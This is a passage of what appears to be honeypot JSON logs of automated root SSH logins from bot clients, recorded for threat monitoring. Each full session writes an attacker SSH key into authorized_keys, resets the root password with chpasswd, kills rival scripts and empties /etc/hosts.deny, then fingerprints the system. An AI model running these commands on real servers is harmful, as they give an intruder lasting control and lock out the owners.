0.06, 0.05, 0.04\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:41:21.583768+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:41:22.003888+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:41:22.319840+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:41:23.117586+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:41:23.430390+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:41:24.182942+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:41:24.498278+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:41:25.877282+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:41:26.192201+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:41:27.667284+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"2233","method":"password","accepted":true,"tier":"other"}]} {"id":"9e90a36e-8ad2-413c-9459-9fd848fb95bf","name":"fearless-sleepy-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":53292,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:31:21.052647+00:00","ended_at":"2026-08-27T04:31:23.085115+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T04:30:55.866442+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:30:56.189630+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:31:01.331335+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:31:02.810088+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:31:03.129712+00:00","kind":"input","latency_ms":null,"data":"echo \"root:W8K5IoOb1CgB\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:31:03.454046+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:31:03.772097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:31:05.132157+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:31:05.302767+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:31:05.451248+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T04:31:06.419290+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T04:31:06.746569+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T04:31:08.816486+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T04:31:09.138460+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T04:31:11.291167+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T04:31:11.607188+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T04:31:13.337999+00:00","kind":"output","latency_ms":null,"data":" 04:31:13 up 7 days, 1:21, 0 user, load average: 0.19, 0.14, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T04:31:13.656904+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T04:31:14.150105+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T04:31:14.471379+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T04:31:14.976109+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T04:31:15.294172+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T04:31:16.168191+00:00","kind":"output","latency_ms":null,"data":"top - 04:31:16 up 7 days, 1:21, 0 user, load average: 0.19, 0.14, 0.18\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T04:31:16.488182+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T04:31:17.336190+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T04:31:17.657428+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T04:31:17.970450+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T04:31:18.291955+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T04:31:19.062033+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T04:31:19.380809+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T04:31:20.735619+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T04:31:21.053452+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T04:31:22.988535+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abcd123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"f481d93a-a18e-4bc4-9505-49c6d36c05ab","name":"leafy-pleasant-macaw","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":58734,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":326,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:25:16.264465+00:00","ended_at":"2026-08-27T04:25:17.694392+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2139,"events":[{"seq":1,"at":"2026-08-27T04:24:58.034949+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:24:58.359307+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:25:02.079850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:25:02.817295+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:25:03.145439+00:00","kind":"input","latency_ms":null,"data":"echo \"root:iD0e1zSpQrrn\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:25:03.465763+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:25:03.789827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:25:04.687910+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:25:05.012350+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:25:05.929854+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:25:06.258319+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:25:07.394344+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:25:07.728037+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:25:08.119456+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:25:08.444090+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:25:08.923415+00:00","kind":"output","latency_ms":null,"data":" 04:25:08 up 7 days, 1:15, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:25:09.248636+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:25:10.053833+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:25:10.377533+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:25:10.689740+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:25:11.016045+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:25:11.856262+00:00","kind":"output","latency_ms":null,"data":"top - 04:25:11 up 7 days, 1:15, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:25:12.179542+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:25:12.764700+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:25:13.092266+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:25:13.929214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:25:14.254627+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:25:14.640929+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:25:14.976713+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:25:15.940240+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:25:16.267445+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:25:17.596957+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12369852","method":"password","accepted":true,"tier":"other"}]} {"id":"a1bab6d0-ccb3-46ea-bc7e-612c4bdb60c7","name":"somber-balmy-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":33976,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":309,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:19:17.948751+00:00","ended_at":"2026-08-27T04:19:18.567224+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2106,"events":[{"seq":1,"at":"2026-08-27T04:19:07.149149+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:19:07.455955+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:19:11.573703+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:19:11.574090+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:19:11.883814+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bEq9knYAuw0f\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:19:12.189890+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:19:12.499416+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:19:12.499930+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:19:12.807836+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:19:13.310750+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:19:13.622176+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:19:14.215142+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:19:14.525999+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:19:14.526505+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:19:14.836534+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:19:14.837062+00:00","kind":"output","latency_ms":null,"data":" 04:19:14 up 7 days, 1:09, 0 user, load average: 0.09, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:19:15.148267+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:19:15.148931+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:19:15.459766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:19:15.460121+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:19:15.767344+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:19:15.768077+00:00","kind":"output","latency_ms":null,"data":"top - 04:19:15 up 7 days, 1:09, 0 user, load average: 0.09, 0.08, 0.07\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:19:16.077383+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:19:16.077926+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:19:16.386743+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:19:16.387297+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:19:16.700404+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:19:16.700815+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:19:17.008199+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:19:17.639388+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:19:17.949524+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:19:18.473319+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Cc112233","method":"password","accepted":true,"tier":"other"}]} {"id":"644ae93a-a02a-41b5-8337-394ddc6f16f0","name":"russet-courtly-jackdaw","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":49912,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":547,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:33:20.602582+00:00","ended_at":"2026-08-27T02:33:21.281889+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:33:00.494335+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:33:01.290036+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:33:09.967416+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:33:09.968803+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:33:10.796912+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wzLBzI3Cqs2R\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:33:11.341464+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:33:11.897435+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:33:11.897740+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:33:12.446100+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:33:13.003407+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:33:13.571370+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:33:14.179158+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:33:14.727204+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:33:14.727622+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:33:15.308708+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:33:15.310452+00:00","kind":"output","latency_ms":null,"data":" 02:33:15 up 6 days, 23:23, 0 user, load average: 0.33, 0.42, 0.36\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:33:15.881090+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:33:15.881808+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:33:16.455115+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:33:16.455592+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:33:16.995452+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:33:16.995861+00:00","kind":"output","latency_ms":null,"data":"top - 02:33:16 up 6 days, 23:23, 0 user, load average: 0.33, 0.42, 0.36\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:33:17.541278+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:33:17.541631+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:33:18.088696+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:33:18.089660+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:33:18.636291+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:33:18.650753+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:33:19.181405+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:33:20.058358+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:33:20.604247+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:33:21.114064+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwedc","method":"password","accepted":true,"tier":"other"}]} {"id":"a0d34dad-6286-40f0-9fff-5ff2ffb87d08","name":"zealous-lawful-chickadee","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":34832,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":522,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:27:02.181397+00:00","ended_at":"2026-08-27T02:27:03.575059+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:26:38.123116+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia 